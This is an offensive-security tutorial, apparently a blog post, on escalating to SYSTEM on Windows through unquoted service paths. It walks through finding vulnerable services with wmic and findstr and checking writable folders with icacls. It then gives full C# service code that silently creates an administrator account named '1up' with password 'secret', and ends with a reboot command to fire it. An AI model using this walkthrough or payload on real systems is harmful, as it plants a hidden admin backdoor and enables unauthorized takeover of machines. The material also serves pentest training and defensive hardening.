So, you’ve popped a user shell on a windows box and now you’re looking to escalate those privileges. Great! In this article we’ll look at one method of elevating your privileges by exploiting unquoted services.
A Windows service is a program that runs in the background similar to a *nix daemon. Often they are automatically started when Windows loads but they can also be started manually by a user or by other software. When installing a Windows service a registry key is created at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services for the service along with several values. One of those values is the ImagePath value and is used to specify the location of the service executable.

You can see the file path is not surrounded by quotes and becomes a candidate for escalating our privileges as an unquoted service. When a Windows service is started the CreateProcess function is used to start the service executable. If the ImagePath value is not surrounded by quotes the CreateProcess function must try to interpret the correct path to the unquoted service executable. For example, if the ImagePath value contained c:\program files\sub dir\program name then the function would attempt to execute the following:
c:\program.exe files\sub dir\program name c:\program files\sub.exe dir\program name c:\program files\sub dir\program.exe name c:\program files\sub dir\program name.exe
If any of these directories have weak permissions this allows us to place a malicious executable that Windows will run as SYSTEM allowing us to escalate our privileges. Now that we know how to take advantage of unquoted services let’s look at how to find them. You could simply look through the registry checking each service but that would take some time. An easier method is to query WMI and retrieve all services and then filter the results. This can be accomplished by executing the following command to list all services:
C:\>wmic service get name,pathname,startmode
While this method will list all the services name, path to executable, and start mode we can go a few steps further to prune down our list to just unquoted services. Let’s try the following command using the findstr command to filter our results:
C:\>wmic service get name,pathname,startmode |findstr /i /v “C:\Windows\\” |findstr /i /v “”” Name PathName StartMode VulnService C:\Program Files (x86)\Vuln Service\Vuln Service Bin\VulnService.exe Auto
[perfectpullquote align=”full” bordertop=”false” cite=”” link=”” color=”” class=”” size=””]Download example Windows Service C# source code[/perfectpullquote]
We pipe our results from wmic into the findstr program using the /i option to specify our search is not to be case sensitive and the /v option to show only those lines which do not contain a match. This will filter out all the Windows services and any services which contain quotes leaving us only with those service that are unquoted. Lucky for us we found an unquoted service named VulnService which has not been quoted and its StartMode is set to Auto. This means if we have appropriate permissions we can place a malicious executable at any of the following locations and our malicious exe will be executed with SYSTEM privileges the next time the service is started.
C:\Program.exe C:\Program Files.exe C:\Program Files (x86)\Vuln.exe C:\Program Files (x86)\Vuln Service\Vuln.exe C:\Program Files (x86)\Vuln Service\Vuln Service.exe C:\Program Files (x86)\Vuln Service\Vuln Service Bin\VulnService.exe
To check permissions on a directory we can use the icacls tools. Let’s see what we come up with. We’ll check each directory looking for write permissions:
C:\>icacls “c:” c: BUILTIN\Administrators:(F) BUILTIN\Administrators:(OI)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(F) NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F) BUILTIN\Users:(OI)(CI)(RX) NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M) NT AUTHORITY\Authenticated Users:(AD) Mandatory Label\High Mandatory Level:(OI)(NP)(IO)(NW) C:\>icacls “C:\Program Files (x86)” C:\Program Files (x86) NT SERVICE\TrustedInstaller:(F) NT SERVICE\TrustedInstaller:(CI)(IO)(F) NT AUTHORITY\SYSTEM:(M) NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F) BUILTIN\Administrators:(M) BUILTIN\Administrators:(OI)(CI)(IO)(F) BUILTIN\Users:(RX) BUILTIN\Users:(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(OI)(CI)(IO)(F)C:\>icacls “C:\Program Files (x86)\Vuln Service” C:\Program Files (x86)\Vuln Service BUILTIN\Users:(OI)(CI)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F)C:\>icacls “C:\Program Files (x86)\Vuln Service\Vuln Service Bin” C:\Program Files (x86)\Vuln Service\Vuln Service Bin BUILTIN\Users:(OI)(CI)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F)
[perfectpullquote align=”full” bordertop=”false” cite=”” link=”” color=”” class=”” size=””]Explanation of icacls Permissions[/perfectpullquote]
Sweet! We found two directories C:\Program Files (x86)\Vuln Service\ and C:\Program Files (x86)\Vuln Service\Vuln Service Bin/ which allows USERS full control (F) over the directories. This means we can place a malicious executable at any of the following locations to exploit the unquoted service:
C:\Program Files (x86)\Vuln Service\Vuln.exe C:\Program Files (x86)\Vuln Service\Vuln Service.exe C:\Program Files (x86)\Vuln Service\Vuln Service Bin\VulnService.exe
Now all we need is a malicious executable to elevate our permissions. There’s a lot of ways you can go about doing this and I’m choosing to create a C# program to create a new administrator account named 1up with the password secret. Let’s get started writing our C# code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Linq; using System.ServiceProcess; using System.Text; using System.Threading.Tasks; namespace OwnedService { public partial class Service1 : ServiceBase { public Service1() { InitializeComponent(); } protected override void OnStart(string[] args) { // add new user account 1up with password secret ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; // set command psi.Arguments = "/C net user /add 1up secret"; // set arguments psi.UseShellExecute = false; psi.CreateNoWindow = true; //don't create window psi.WindowStyle = ProcessWindowStyle.Hidden; //set window to hidden var proc = new Process(); // create Process() instance proc.StartInfo = psi; // pass ProcessStartInfo instance proc.Start(); // launch command proc.WaitForExit(); // wait for command to complete // set new user account as administrator psi.FileName = "cmd.exe"; // set command psi.Arguments = "/C net localgroup administrators 1up /add"; // set arguments proc.StartInfo = psi; // pass ProcessStartInfo instance proc.Start(); // launch command proc.WaitForExit(); // wait for command to complete } protected override void OnStop() { } } } |
Now compile the code using Visual Studio Community and place the executable at any of the target locations we discovered with write permissions. Once your malicious executable is in place the final task is to restart the service to execute our exe. You’ll likely find you won’t have the needed permissions to restart the service. Since the service was set to AUTO we simply wait until the system reboots or we can reboot the system ourselves with:
shutdown -r
If all goes well when Windows reboots it will start our malicious executable creating a new administrator user that we can use to elevate our permissions which completes our hack.

Add Comment